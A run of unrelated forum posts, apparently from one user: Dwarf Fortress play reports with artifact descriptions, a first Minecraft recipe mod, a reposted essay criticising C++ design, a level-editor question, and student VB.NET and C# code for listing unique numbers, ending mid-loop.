Also, by the way... that title. "Dead Kings". It's really evocative :)
User
Months and months and months have passed and I've gotten a non-marksdwarf army component, built a hospital and used it a few times, and have a well area nearly ready to flood. I've also revved up a mister a few times only to see it flail and fall short of completing a cycle. I'm too tired to debug it and try to figure out what the fuck engineering-wise, but here's a recap of a few season's time, or further adventures in preposterous bullshit:

New artifact, made by one of my threshers (otherwise useless):

Ostarkalal Togaldastot, "Burialmelt the Stormy Sword", a granite scepter (probably because he took over a workshop that was making stone crafts):


This is a granite scepter. All craftsdwarfship is of the highest quality. It is encircled with bands of rectangular granite cabochons. This object is adorned with hanging rings of kakapo bone. On the item is an image of Morul Tomblarge the dwarf in kunzite [note: that dwarf? Not in my fortress].
On the item is an image of Burialmelt the Stormy Sword the granite scepter in kiwi leather.

Ladies and gents, my first recursive artifact.

I killed a trio of goblin thieves. One was a master thief. I did not know that master thieves existed! He didn't last very long. His first move was to stab the Fisherdwarf who noticed him in the head. The fisherdwarf was a crossbowdwarf, and as the thief tried to beat his retreat, the dwarf shot the dagger out of his hand, then shot him in the stomach, spleen, and then both legs. After the second hit, he went unconscious, and woke up just in time for a swordsdwarf to bash him with the handle, then slash at his head. Didn't leave much more than a scratch, but it pissed off the thief right proper and the thief lunged, missed, and was stabbed through the skull. Short day. Later on another goblin thief appeared. The Mayor punched the thief's skull through his brain. That was how the goblin died. You do not fuck with The Mayor. The Mayor, from what I can tell, is also a plant as his profile informs me that "When possible, he prefers to consume sunshine."

In order to power my water pump, I've been trying to clear out an area to build a windmill. In order for anything to be affected by "wind", it needs to be open air, which means I carve out the level it needs to be on and, if that level is covered, I channel out the top. About five times now, a dwarf has climbed on top of the channel portion, stood on a single square, channeled out every square around him, caused a partial tunnel collapse, knocked himself unconscious, then got up again and resumed doing the exact same thing. DWARVES. One of them eventually died from this. It was probably because he was an inexperienced miner. Another time a few levels collapsed and it ended up killing a woodworker and his pet pig, both of whom were below. I guess they were inexperienced too. So far all of my casualties have been from negligence on my part. I am awesome.

Another farmer flipped out and started doing things with Stone. I only get stonecraft artifacts.

Onsheniddor Sebir Igath, "Chantedlark the Hide of Scraping", a slate scepter:

This is a slate scepter. All craftsdwarfship is of the highest quality. On the item is an image of Edem Orbauthor the dwarve and dwarves in slate. Edem Orbauthor is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Edem Orbauthor to the position of king of The Spread Syrups in 1.
On the item is an image of a tower-cap in alder.

I couldn't get an image of a tower-cap in tower-cap because I haven't gotten into the caverns yet.

Spring came and my main carpenter flipped out and created the most ornate goods bin yet seen by dwarfkind.

Abiremal Vozbel Kirar, "Romancesense the Ravager of Rights", a alder bin <#3>:

This is a alder bin <#3>. All craftsdwarfship is of the highest quality. It is encrusted with oval gabbro cabochons decorated with alder and circled with bands of alder, oak, and oval cut rubicelles. This object menaces with spikes of gabbro. On the item is an image of a giant kea in steel. On the item is an image of a alder in kakapo leather.

'kay.
User
Fall, 21

Second Migrant Wave:

3x farmer
2x child
1x fisher
1x stonecrafter
1x weaponsmith (w/ sword skills)
1x donkey foal
1x poult
1x kitten

Shortly after his arrival, one of my new farmers lost his shit and took over a craftsdwarf workshop. This was fun because I knew that if he wanted any of the clothier's workshops, he would go insane because those aren't active yet. But ah, he wanted stone and metal bars. I didn't have smelters yet. So I rushed to build some and forged a bronze bar. The result was my first artifact and a legendary stonecrafter.

Sarekzagod Stibmer Togum, "Echogripped the Shores of Verse", a gabbro bracelet.

This is a gabbro bracelet. All crafsdwarfship is of the highest quality. This object menaces with spikes of gabbro. On the item is an image of The Riddled Renown the shale slab in bronze.

So apparently there's an artifact-level shale slab out there somewhere.

Forgot to build a depot. Yep. I'm an idiot. That will definitely hamstring me for a while, but it also gives me a chance to throw some more goods together.

At present, my dwarves have a primary form of entertainment. That form of entertainment is watching vermin get caught in the waterfall and then crash into the river below, dead. Bless their little hearts.
User
I now have two legendary masons to go with my two legendary engravers.

Quote:
Monanggikut Tharnas An, Drilleddabble the Slayer of Meditating, a phyllite hatch cover

This is a phyllite hatch cover. All craftsdwarfship is of the highest quality. It is encircled with bands of llama wool. This object is adorned with hanging rings of phyllite and menaces with spikes of yak bone and mahogany. On the item is an image of troglodytes in wolverine leather.



My fortress is the proud owner of the most ornate manhole cover in the known universe. I am also especially glad of the fact that something used to cover a hole leading underground has troglodytes on it.
User
MY FIRST MINECRAFT MOD

java code

package blackThornDemon;

import cpw.mods.fml.common.Mod;
import cpw.mods.fml.common.Mod.Init;
import cpw.mods.fml.common.event.FMLInitializationEvent;
import cpw.mods.fml.common.network.NetworkMod;
import cpw.mods.fml.common.registry.GameRegistry;
import net.minecraft.src.Item;
import net.minecraft.src.ItemStack;
import net.minecraft.src.Block;

@Mod(modid = "BlackThornDemon", name = "BlackThornDemon", version = "0.00.01")
@NetworkMod(clientSideRequired = true, serverSideRequired = false)


public class Firsties {



@Init
public void load(FMLInitializationEvent event)
{
GameRegistry.addRecipe(new ItemStack(Item.pickaxeDiamond), new Object[]
{
"XXX",
" | ",
" | ",
'X', Block.dirt,
'|', Item.stick
});
}
}


User
This covers a lot of the reasons I hate C++, in case you're interested:

cpp-home.com/tutorials/244_1.htm

Why C++ Sucks

C++ sucks because it is a mis-designed pile of crap.

All you have to do is read Bjarne Stroustrop's book on the design and evolution of C++ to understand why: C++ is the iMac of computing languages.

It was designed to have those features necessary to achieve popular success--not those features necessary to be a good programming language.

In the case of something like the iMac, much of the "prettiness" does not necessarily come at the expense of functionality--but this is not always the case. Reducing the iMac's expandability makes it simpler to use--but also potentially consigns it to a gutter market a few years down the road.

The Big Mistake: C Compatibility
In Stroustrop's mind, making C++ compatible with C was instrumental, crucial to its success.

I don't disagree. Plenty of other good object oriented languages are out there, and they've never found much success. Certainly the overhead of learning a brand new language is undoubtedly a significant barrier to acceptance.

I don't think it's any coincidence that Java chose to use C syntax for its core constructs, either.

But C++ went far further than Java in compatibility. C code works nearly unchanged in a C++ compiler. The model of how a C++ program can be separately compiled (i.e. split into multiple separate files) is identical to that of C.

But this introduces hosts of other problems, some which C++ addresses, some of which it addresses with problematic design, and some of which it simply falls down on.

This is not to laud Java--I do not have a particularly high opinions of that language. It does many good things, but owing to its history it also has some odd design elements. (Foremost amongst them being reliance on interpreters during its initial introduction.)

Keep It Simple, Stupid
C++'s biggest problem is its size. People will tell you that this is no big deal; just subset C++ down to whatever part of it you're willing to use; that can be a C subset or something a little larger, or the whole thing.

This logic can be used to justify an infinitely complex language, so one should hesitate to accept it at face value.

The biggest flaw with the argument is that it forces compiler writers to implement a larger language; correctness will be harder to get right, and optimization will suffer. In the case of C++, however, this no longer matters; there are essentially no "just C" compilers anymore to compare to, so any lowered performance of C++ is no doubt also seen by C.

Another significant problem is that it requires an investment of effort to select an appropriate subset. Moreover, you will have difficulty finding books that teach this subset; and, indeed, if you acquire a C++ algorithms book, the odds that the subset chosen for that book matches that of yours is low.

In other words, subsetting is the same as fragmenting the language into lots of separate dialects; it has all the same problems as that, with the added cost of none of those dialects having unique names. What does it mean to say "I've used C++ for six years" on a resume?

Similarly, learning a subset does you no good if you work with other people's code, and they do not use the subset you are expecting; you must be able to understand their subset, and even write it.

Finally, learning a subset doesn't guarantee that you won't avoid being bit by something that's not in the subset you've chosen. For example, you might choose (wisely, IMHO) to avoid using function overloading. You can't tell the compiler this, however, and thus you might unintentionally name two functions the same thing, and cause unimaginable problems thereby. Sure, you'll eventually figure it out, it'll just be another dumb bug, but why use a language that has any number of such gotchas lurking around every corner?

Suppose you choose to just use the C subset of C++. One of the changes C++ makes to C rules is that you can no longer automatically cast from (void *) to other pointer types. The reason for this is clear; in C++, (void *) types are used sufficiently often that hidden bugs might occur. (There is a counter-argument to this even in a C++ context: C++ encourages you to typecast more often than necessary, possibly masking bugs because your typecast hides what would be a real warning.)

Is this a real problem for C? No, it's not, it just means you need to do some extra casting. The following code doesn't work:


   x = malloc(sizeof(x) * num_elements);

Instead you must code it as


    x = (mytype *) malloc(sizeof(x) * num_elements);

Of course, if you are familiar with the idiom found in the first example, you see the flaw in the second; the first version avoids a bug by not explicitly naming x's type; thus if that type changes, the code still (most likely) does the right thing. With the second code, if you change x's type, C++ will complain about the type error, so it won't introduce an error--just unnecessary typing to fix it.

If you're using C++ proper, you would just use the new operator to sidestep this... ignoring the fact that new requires the name of the type...

Too Much Typing
I guess I'm just a whiner if many of my problems boil down to C++ requiring too much typing. Typing is such a tiny fraction of programming that it's not that big a deal. Yet it grates to see such extra 'accidental' (in the sense of Fred Brooks 'No Silver Bullet', i.e. in opposition to 'essential') work required for no good reason.

Example #1
In C, I write a new function, and then add a prototype to the header file. Having to add that prototype is annoying 'accidental' effort; there is no reason this redundancy must be shoveled onto the programmer (it could easily be automatically generated, a la Java or Borland's Turbo Pascal). That something like a header file is needed for separate compilation is undeniable; but that I must maintain it by hand is largely silly.

Still, it's not that much work. Cut and paste, put an 'extern' at the front of the line and a ';' at the end of the line, and you're done:



C file:
   int myFooBar(Foo *foothing, Bar *barthing)
   {
      ...
   }

H file:
   extern int myFooBar(Foo *foothing, Bar *barthing);

Whether this worked out by chance or not, these are easy editting operations to perform without moving your hands from the keyboard; cut a single line (in 'vi', 'yy'; in a windows editor: home, shift-end, ctrl-c), switch buffers, paste, go to beginning of line and type 'extern', go to end of line and type ';'.

The effort is justified because all this information needs to be available for separate compilation.

Consider the equivalent thing for a method in C++:


CPP file:
   int Foo::myBar(Bar *barthing)
   {
      ...
   }

H file:
   class Foo
   {
      ...
      int myBar(Bar *barthing);
      ...
   };

Sure, in this example, the function declaration itself may be shorter, making C++ look better than C, but I'm comparing C++ to a similar, imaginary OO language that doesn't suck.

To make the C++ cut and paste, I don't need to add 'extern' at the front. Instead I have to reach into the middle of the declaration and delete the 'Foo::'. This is actually more work--at least for me, it takes longer, and more thinking, to do this. (You have to actually parse the declaration, which gets more complex as the return value type gets more complex.)

Example #2
Worse yet, C++ makes this necessary in circumstances that it shouldn't be.

Suppose that class Foo in the example above inherits from Baz; and Baz includes as a member in its declaration virtual int myBar(Bar *barthing);. Now, when I want to go implement Foo, I choose to override the definition of myBar found in Baz.

C++ makes me spell out in the declaration of class Foo exactly which methods I'm going to override.

Even though the whole point of virtual functions is that the dispatch occurs at run-time--no compile-time support needed.

Pointless.

Oh, and did I mention that this sort of thing leads to extra unnecessary recompilation?

Why?
I think I know why C++ does it this way. The thing is, if I subclass Foo to make, say, Biz, then if Biz doesn't define myBar for itself, it will need to store a pointer to Foo::myBar in its virtual function table. Thus, the compiler needs to know about everything that goes on under the hood with Foo to build Biz correctly. (Similarly if Biz defines it itself, but calls ::myBar.)

That means, of course, that everything 'under the hood' must be exposed in the class definition. The entire 'private' section must be exposed to subclasses (and also so that 'sizeof' works correctly).

You can try to work around the excess recompilation introduced by this by having multiple header files with differing levels of detail in them; the subclasses and the implementation of the class see the full description, whereas the rest of the world only sees the public definition, unless they need to sizeof... well, as you can imagine, I don't know anyone who actually tries to do that. (It would help if you could flag a class definition as 'incomplete' so inclusions of the wrong header file would fail to compile, instead of producing bugs.) I'm not actually sure that doing this is legal C++, anyway.

This all misses the point. Part of C++'s success is that it didn't require rewriting the linker (after all, initially it just was translated into C code). Separate compilation could be done without needing to see the innards of other classes if the virtual function tables were built up at link time. Even without rewriting the linker, the patching could be done at runtime, during startup. This does not need exposure. (The sizeof problem would still remain.)

Example #3
Yet another case is that of the C-style "static function". Suppose I decide I want to break Foo's implementation of myBar down into multiple smaller steps, using helper functions. Since the code is based around an object, I still want to make these be methods of the class so that I get a 'hidden this' and can refer to instance variables conveniently.


  /* C code: */
     static void myFooBarHelpFunction(Foo *foothing, int intermediate_value)
     {
        ...
     }

     int myFooBar(Foo *foothing, Bar *barthing)
     {
        int value = computeSomething(foo,bar);
        myFoobarHelpFunction(foo, value);
        ...
     }

  // C++ code:
     void Foo::myBarHelpFunction(int intermediate_value)
     {
        ...
     }

     int Foo::myBar(Bar *barthing)
     {
        int value = computeSomething(bar);
        myBarHelpFunction(value);
        ...
     }  

The C++ example is incomplete. As you can see, it lacks the static keyword. This is because, to implement this in C++ like this, you have to add a declaration of this function to the class definition. That's right, to do a local, hidden modularization of this function, which cannot be seen or used by anybody else, including subclasses, you have to touch the class definition, which normally (as noted above) is exposed in the header file to anyone and everyone who interacts with the class. (At least this seems to be the case. Am I missing something?)

Oh, thanks.

And don't forget to delete Foo:: when you add it to the header file.

You can work around this by privately subclassing the type, thus allowing you to create a local class MySubClass type with local, non-exposed declarations. You still end up with a declaration and a definition, as opposed to C where you only need the definition if you put the functions in the right order. And you will have to downcast pointers that are passed in. But it avoids the header dependency.

Pet Peeves
Don't get me wrong. The above three examples aren't just pet peeves. I think of them as serious design flaws. I have pet peeves about the language and the typing therein as well, but they lean more towards personal taste:


Having to prefix every method definition with Foo:: is stupid. We should be able to wrap our definitions inside something like class Foo { ... } and not have to prefix with Foo:: inside it. Of course you could do exactly this, but you can only have one definition of a class, so you can't do this and also include a header file with the class declaration in it, so you need to include the full declaration locally. (Also, providing a mechanism like this would also make cutting and pasting into the header file easier.)
constructors and deconstructors return void, even thought C++ denies it. Yes, removing the need for void from the parameter list and as a prefix on constructors/deconstructors can be seen as an opportune 'fix' to reduce typing, since C++ doesn't back-support K&R C the way ANSI/ISO C does. Sorry, I don't buy it; the amount of typing saved is irrelevent. (It's one thing to save lots of cut&paste editting motion; saving typing four characters while one is already in the middle of typing characters is saving me something like 5 seconds a week.) It introduces a pointless inconsistency.
etc. (Why waste time on pet peeves when there's more juicy bits?)
Indirection
Indirection is the source of nearly all that is good about computer programs. Pointers or handles are crucial to writing code that does more than formula processing.

A relatively crucial element of object-oriented programming is the introduction of indirect function calls. Sure, imperative programming has them as well, but most OO languages make them ubiquitous; many people consider virtual the most important keyword distinguishing C++ and C--that is, if you never use virtual, you may be using classes, but you could just as easily be writing in C.

The thing is that unlike, say, Smalltalk, not all indirection in C++ is at run-time. Stroustrop considered this an important element of C++'s success--by providing multiple mechanisms, you can select the one with the appropriate trade-off of power vs. performance overhead.

But more is not necessarily better. One can imagine a language in which a compiler makes these trade-offs automatically for you. You can imagine a language in which a single keyword changes the underlying implementation, with no syntactic or semantic variations visible.

Not so C++.

In C, a function call can only happen one way:

... foo(x,y); ...

If 'foo' is a variable that is a function pointer, this call is indirect; if not, it is direct. You generally can't tell from syntax, although many people choose to use one of two conventions to distinguish them: either a naming convention (function pointer variables include an extra word in the name), or a syntactic convention for function pointer variables (which is actually legal with function names as well, if I recall correctly):

... (*foo)(x,y); ...

(There are actually some cases where the syntax is unambigous about which, for example (foo->bar)(x) must be an indirect call--that is, any expression where the name would go.)

Assuming you use one or the other convention, then, the two modes of function call are unambiguous to distinguish. Assuming the call is direct, there is a simple mechanic for finding the callee; search back through the source, looking for a prior definition of 'foo' which is now in scope. If not found, grep the header files for exported functions. Only one function named 'foo' can be exported without introducing linker errors, so the result is unambiguous.

If a function call is indirect, the exact same search will tell you where the function variable is defined. An arbitrary effort may be necessary to be expended to determine where that call goes.

Object-oriented languages attempt to make indirection more useful by structuring it. Instead of going "just anywhere", a message send must go to one of the subclasses of a given class, and share that name.

Improving the ability of a programmer to understand indirect function calls is surely a laudable goal. Object-oriented languages are rich with designs people would be unlikely to attempt with C's unwieldy do-it-yourself function indirection methodology.

But there is much to dislike about C++'s execution.

Syntax
As noted above, there is exactly one syntax in C that leads to function calls (the variant syntax in the latter example stands for the exact same semantics); one syntax, but two semantics.

In C++ there are eight syntaces and quite a few semantics.

No joke:

regular function call (expression context): foo(a,b)
constructor call (declaration context): Foo foo
constructor call (declaration context): Foo foo(a,b)
constructor call (expression context): new Foo
constructor call (expression context): new Foo(a,b)
destructor call (block end): }
destructor call (statement context): delete foo;
overloaded operator (expression context): foo+bar
(I'll fold copy/assignment constructors in with overloaded operators.)
Even if you disagree with my splitting the constructors up that way, there'd still be six; moreover, unambiguously, there are four different contexts in which function calls occur (declaration, expression, statement, and block end).

Constructors and Destructors
Of course, if you use constructors and deconstructors in the "right" way, this isn't as bad as it sounds. Constructors and deconstructors only do "good things"; the constructors and deconstructors happen at "times" when such things are best suited to run.

But, nonetheless, this doesn't necessarily make programs easy to comprehend. An example off the top of my head: if an object in a deconstructor removes itself from a hash table, introducing a bug because the hash table shrinks itself, screwing up the currently executing hash iterator, you may spend a long time discovering what is going on.

If we accept, though, that the constructor and destructor calls are there because that leads to better, more comprehensible semantics--that any object-oriented language is going to need something like constructors and destructors--we are only left with two syntaces to discuss: plain function calls and overloaded operators.

Overloaded Operators
Many style guides strongly recommend disallowing overloaded operators. Some advocate allowing operator overloading for mathematical data structures, like bignums, complex numbers, vectors, matrices, and the like. (Care and handling of copy and assignment constructors is more complex, so I'll simply dispense with attempting to argue about them.)

The argument for avoiding overloading operators is often this simple one: it is to easy for someone reading the code to not realize that there are function calls going on. An ordinary syntax that does not normally resemble a function call is suddenly potentially a function call.

The argument for allowing it for math is simple: the expediency of the syntax overwhelms the argument against it. Nothing particularly surprising is going on under the hood, except possibly the performance overhead.

I cannot argue against this philosophy. I choose not to apply it, as the amount of actual addition or subtraction of vectors in my code is so inconsequential that the typing cost is insignificant; nor do I find the shorter, simpler syntax involving overloaded operators to cause me to introduce fewer bugs. But this is surely more a matter of taste than of logic.

Clearly, one would like operator overloading to follow the principle of least suprise. Operators which normally are side-effect free should remain side-effect free. One would hope operators which are normally commutive remain commutative, and associative associative; but this is not always the case (e.g. matrix multiplication). 

But in a short function, in which the types of the variables are obvious, one has trouble imagining operator overloading causing much trouble.

Idioms
The advantages of concise idiom are legion. I have an enormous number of C idioms I use without thought; idioms in the sense that if you are not familiar with them, the meaning of the code may not be immediately obvious. They are easy enough to figure out if you stop and think, but the power of the idiom comes from the lack of need to think; it is easier to understand a larger chunk of code all at once if the elements of it are idioms.

Here are two idioms I use frequently:

   // n loops from n-1 ... 0
   while (n--) {
      ...
   }

   // i = (i + 1) mod n
   if (++i == n) i = 0;

Notably, these idioms rely on preincrementing and postdecrementing, so the odds are high that a reader will have to stop and hesitate and think about the meaning of the code. (The idioms would not normally have the comments describing their meaning.)

Idioms make operator overloading doubly tempting. One aspect is that it allows the use of familiar idioms in new contexts:

   for(FooIter *i(foo); (bool) i; ++i) {
      ... *i ...
   }

(Something like that--I'm not very familiar with C++ operator overloading.)
A second aspect is that it allows the creation of new idioms. Expression syntax is much more powerful for idiomatic constructions than function call syntax. You may have seen this sort of construction in C, using a conventional return value to empower an idiom:


   x = listAdd(listAdd(listAdd(listAdd(newList(), a), b), c), d);

(Specifically, I've seen code like that used for adding elements to a window.)
The indirection and nesting there is ugly, and so you can see it as much clearer if you could use an idiom like:


   x = newList() + a + b + c + d;

I'm not suggesting that people would like this off the cuff; but they might find it tempting to allow operator overloading simply because it allows them to coin such idioms--not just to save typing, but because it becomes much more rapidly comprehenisble. (The nested listAdd()s above are also an idiom, but the difference in ease of comprehension is apparent.)

But this way lies madness!

Such idioms may be powerful, but they build on new, unrelated meanings of the underlying symbols.

It is (I imagine) exactly this reasoning that introduced the ubiquitous operator overloading found in the C++ stream library.

Ask a C programmer what this code does:

a << b << c << d << e;

She will tell you "nothing". None of the operators have side-effects. In C.

Do they have side-effects in C++?

It depends on what functions they call.

C++ programmers swiftly adjust to the use of <<. It seems natural and perfectly reasonable. But don't be fooled by it. Most style guides recommend against coining new forms of operator overloading. That supposed power of idiom is simply too fraught with peril.

Keep this in mind: the argument by analogy to C idioms is broken, because the C idiom is constructed of unambiguous items right there on the page. Comprehending an unfamiliar C idiom just requires parsing the code--an action the reader was already doing. There's no 'secrecy' at all--it just takes a little longer.

Semantics
As noted previously, there are two semantics for a plain C function call. Determining which semantic is in operation is as easy as searching back through the file for the name, and then grepping header files for the name.

Not so for C++. C++ has both run-time indirection and compile-time indirection. In fact, it has a number of flavors of the latter.


   foo(x,y);


a plain C-style function call
a plain C-style indirect function call
a call to a non-virtual method in this class, or any parent class
a call to a virtual method (again defined in any ancestor)
a call to a templated function
a call to a method in a templated class
one of several functions of any of the above types, all with the same name, but different numbers of parameters
one of several functions of any of the above types, all with the same name, the same number of parameters, but different formal parameter types

   foo->bar(x,y)

a plain C-style indirect function call (e.g. bar is a public function pointer)
a call to a non-virtual method in foo's class, or any parent class
a call to a virtual method (again defined in any ancestor of foo)
a call to a method in a templated class
one of several functions of any of the above types, all with the same name, but different numbers of parameters
one of several functions of any of the above types, all with the same name, the same number of parameters, but different formal parameter types
Some of the variants above may not seem like truely distinctive semantics; however, the distinction between run-time and compile-time dispatch is obvious, and the other distinctions are there to call attention to the effort required for someone to locate the implementation of the called function. Any of those cases could turn out to be true, and each is defined differently.

Templates offer the best example of my core complaint. At their heart (ignoring the committee-driven creeping featurism), templates are there to allow you to do something like define a generic hash table class, but specialize it to be implemented "directly" for some specific class, instead of having to pay indirect dispatches at runtime.

However, I've stated previously, I find this approach flawed, because it introduces an entirely new syntax and semantics. I would much prefer if you just defined the hash table as taking some abstract base class, defined your elements to be hashed as deriving from that base class, and then used a magic 'specialize' keyword to 'instantiate the template'. (Of course, personally I'd prefer a Smalltalk-like approach where you didn't need to use abstract base classes at all; the same sort of specialization is nonetheless entirely withint the realm of computability; and Java implementations may attempt to do JIT inlining to achieve the same effect, much as the academic language Self (something of a sequel to Smalltalk) did in the early 1990's.)

Moreover, those lists are far too short, as they don't call attention to the bewildering variety of problems introduced by function name overloading.

At least if all overloaded functions with the same name have different numbers of parameters, the result of the call is unambiguous. A grep for the name will turn up a number of matches, and if the line declaring the function is longer than a single line, some additional effort may need to be expended to figure out just which one. Annoying, but not impossible.

Far worse is the use of multiple names with the same number of parameters. You have to figure out the (compile-time) type of every parameter, exactly, before you can make the right call about which function is called. Go look up through the code to determine the type of any variable used; check in the header file to see what type is returned by this function; try to remember whether * means a dot product or a cross-product of two vectors.

Ok. Now you've got the types.

Go read the definition for how the "best" match for an overloaded function is resolved. I'll still be here. Go ahead.

Set intersection. I don't know about you, but I don't normally do much set intersection when I write function calls.

Ok, let's be fair. You can state it unambigously in English without reference to set intersection: the 'winning' function must have all its parameters "type match" at least as well as all the other candidates, and one of its parameters must "type match" better. (Set aside the rules for "type matching", and the inclusion of user-defined type conversions in them. This rant is already way too long.)

It's easy, in fact, to see how the specified rules underscore human intuition about best match. At least, each rule in isolation does so. I have my doubts about the combination.

Still, I find it a bit uncomfortable. I worry about the compiler's intuition not matching mine. I'd be more comfortable if the compiler only picked out a particular function for me if it was unambiguous; say, because every parameter was a better match for the "winner".

Problem is, that would preclude having, say, all the matching functions sharing, say, a common first element that is the same type. Such functions would always match equally. It's easy to see why C++ uses the rule it does.

The above considerations were based on a programmer who was trying to intentionally leverage function name overloading. What about one who isn't?

Suppose in C I define a function "foobar" in one module, and a define another one with the same name in another module, but with different argument types. In draconian fashion, C will produce a linker error, and force me to rename one or the other.

Is this so bad?

Consider the alternative found in C++: these two functions may be totally unrelated, but through a commonness of the English language (e.g. the same word having two different meanings; consider simply the word 'heap' in the sense of a semi-ordered data structure versus a pool of memory) share an identical name. In C++, name-mangling means those two functions can happily live within the same namespace, and within the same project.

Is this a problem?

What happens if I'm calling foobar() somewhere in my code, and then someone introduces a new #include in my code which now brings the other foobar() into scope? What if I was relying on some automatic type conversions in my call to foobar(), and the new foobar() now matches "better"?

And think about this: is it good that the different functions could come via different semantic mechanisms? So if I grep for "foobar", thinking it is coming from one sort of place, I may miss that a "better match" is being introduced through a different compile-time indirection?

And think about this: is it good that I can add "default arguments" to functions declarations, thus messing up my attempt to cull out possible function calls based on the argument counts not matching?

What a freaking pile. 
User
I made a shape with the white square tool.
The I pressed enter, or right click on the shape and click on create object or something.
Now I have a shape with no texture.
User
With much thanks to Sprinkles, I've finally got a working program... what a bitch this was.
The key, for whatever reason, was to use a for each statement, rather than just a for statement. I still am unsure as to why the for statement didn't give the same results, but nonetheless, here's what I ended up with:

code
Public Class frmDupElim

Dim x(19) As Integer
Dim count As Integer = 0


Private Sub btnAdd_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnAdd.Click


If txtInput.Text = Nothing Then
MessageBox.Show("Please enter a number.")


Else
If Convert.ToInt32(txtInput.Text) > 9 And Convert.ToInt32(txtInput.Text) < 101 And count < 20 Then

addUnique()
x(count) = Convert.ToInt32(txtInput.Text)
addEntered()
txtInput.Clear()
txtInput.Focus()
count += 1
Else
MessageBox.Show("You must enter a number between 10 and 100.")
End If
End If

End Sub


Sub addEntered()

If count < 20 Then
lstEntered.Items.Add(Convert.ToString(x(count)))

lblCounter.Text = Convert.ToString(count + 1)

Else
MessageBox.Show("You can not enter more than 20 numbers.")
End If

End Sub


Sub addUnique()

Dim y As Boolean = False

For Each i As Integer In x
If i = Convert.ToInt32(txtInput.Text) Then
y = True
Exit For
End If
Next

If y = False Then
lstUnique.Items.Add(txtInput.Text)
End If


End Sub


Private Sub btnClear_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnClear.Click
lblCounter.Text = "0"
count = 0
lstEntered.Items.Clear()
lstUnique.Items.Clear()
Array.Clear(x, 0, 19)
End Sub
End Class




I also noticed that I was adding the text from the input box into the array before I was checking to see if that value was already in the array. So no matter what, it would always think that the value was in the array, even if it wasn't unique.
User
C# code
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace forRB
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
int[] numbers = new int[20];
int counter = 0;
private void input_KeyUp(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Enter)
{
int bob;
bool result = Int32.TryParse(input.Text, out bob);
if (!result)
{
input.Text = "";
return;
}
else
{
if (Convert.ToInt32(input.Text) >= 10 && Convert.ToInt32(input.Text) <= 100)
{
if (counter < 20)
{

inclusiveLB.Items.Add(input.Text);
bool repeated = false;
foreach(int i in numbers)
{
if(i == Convert.ToInt32(input.Text))
{
repeated = true;
break;
}
}
if (repeated == false)
{
uniqueLB.Items.Add(input.Text);
}
else
{
uniqueLB.Items.RemoveAt(uniqueLB.Items.IndexOf(input.Text));
}
numbers[counter] = Convert.ToInt32(input.Text);
input.Text = "";
}
else
{
input.Text = "";
}
}
else
{
MessageBox.Show("You must enter a number between 10 and 100." + Environment.NewLine + "You entered \"" + input.Text + "\"", "Number Out of Range", MessageBoxButtons.OK);
}
}
counter++;
}
else if (e.KeyCode == Keys.Escape)
{
inclusiveLB.Items.Clear();
uniqueLB.Items.Clear();
input.Text = "";
counter = 0;
}

}
}
}
User
I can't for the life of me figure out how to get this to work... I've been trying for the last week, but to no avail.

So basically the program I'm supposed to write has a textbox that users may input a number between 20-100 into. Once they press a button, it will add that number to a listbox. It will also check to see if that number has already been put into the first listbox, and if it hasn't, it will add it into a second listbox (so the first listbox will have every inputted number in it, and the second one will have every UNIQUE number in it).


The part I'm having trouble with is determining whether a number is unique or not.


Here's the code I have so far... the addUnique function is the one that isn't working:
code
Public Class frmDupElim

Dim x(19) As Integer
Dim count As Integer = 0


Private Sub btnAdd_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnAdd.Click


If txtInput.Text = Nothing Then
MessageBox.Show("Please enter a number.")


Else
If Convert.ToInt32(txtInput.Text) > 9 And Convert.ToInt32(txtInput.Text) < 101 And count < 20 Then
x(count) = Convert.ToInt32(txtInput.Text)
addUnique()
addEntered()
txtInput.Clear()
txtInput.Focus()
count += 1
Else
MessageBox.Show("You must enter a number between 10 and 100.")
End If
End If

End Sub


Sub addEntered()

If count < 20 Then
lstEntered.Items.Add(Convert.ToString(x(count)))

lblCounter.Text = Convert.ToString(count + 1)

Else
MessageBox.Show("You can not enter more than 20 numbers.")
End If

End Sub


Sub addUnique()

Dim y As Boolean = False

For counter As Integer = 0 To 19
If x(count) = x(counter) Then
y = True
End If
Next

If y = False Then
lstUnique.Items.Add(Convert.ToString(x(count)))
End If


End Sub


Private Sub btnClear_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnClear.Click
lblCounter.Text = "0"
count = 0
lstEntered.Items.Clear()
lstUnique.Items.Clear()
End Sub
End Class
User
Hmmm...i think i know whats the problem is.
U see, first i made the whole map with several and different blocks and texture ( func_wall). After that, i sellected everything on the map and turned it in to SKY ( sky texture ) after that i added the textures to only the side of an object that the player can see.
However, in that opperation even the info_player_starts turned into SKY, after i deleted the old info_player..... and made some new....IT works fine
User
I think my comments are good enough... here's my complete code for that project, with comments:
VB code
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click


For counter1 As Integer = 1 To 10 Step 1 'Increments counter1 by 1 for every time the process loops, starting at 1, and ending at 10. This is to create 10 lines in the textbox.
For counter2 As Integer = 1 To counter1 Step 1 'Increments counter2 by 1 for every time the process loops, starting at 1, and ending when the value of counter1 is reached. This is so that the number of astericks per line will increase at a uniform rate when compared to the line number (counter1).
TextBox1.AppendText("*") 'Appends an asterick to textbox1
Next
TextBox1.AppendText(vbCrLf) 'Appends a line break to textbox1
Next


For counter1 As Integer = 10 To 1 Step -1 'Decrements counter1 by 1 for every time the process loops, starting at 10, and ending at 1.
For counter2 As Integer = counter1 To 1 Step -1 'Decrements counter2 by 1 for every time the process loops, starting at the value of counter1, and ending when the value of 1 is reached. This is so that the number of astericks per line will decrease at a uniform rate when compared to the line number (counter1).
TextBox1.AppendText("*") 'Appends an asterick to textbox1
Next
TextBox1.AppendText(vbCrLf) 'Appends a line break to textbox1
Next


For counter1 As Integer = 10 To 1 Step -1 'Decrements counter1 by 1 for every time the process loops, starting at 10, and ending at 1.
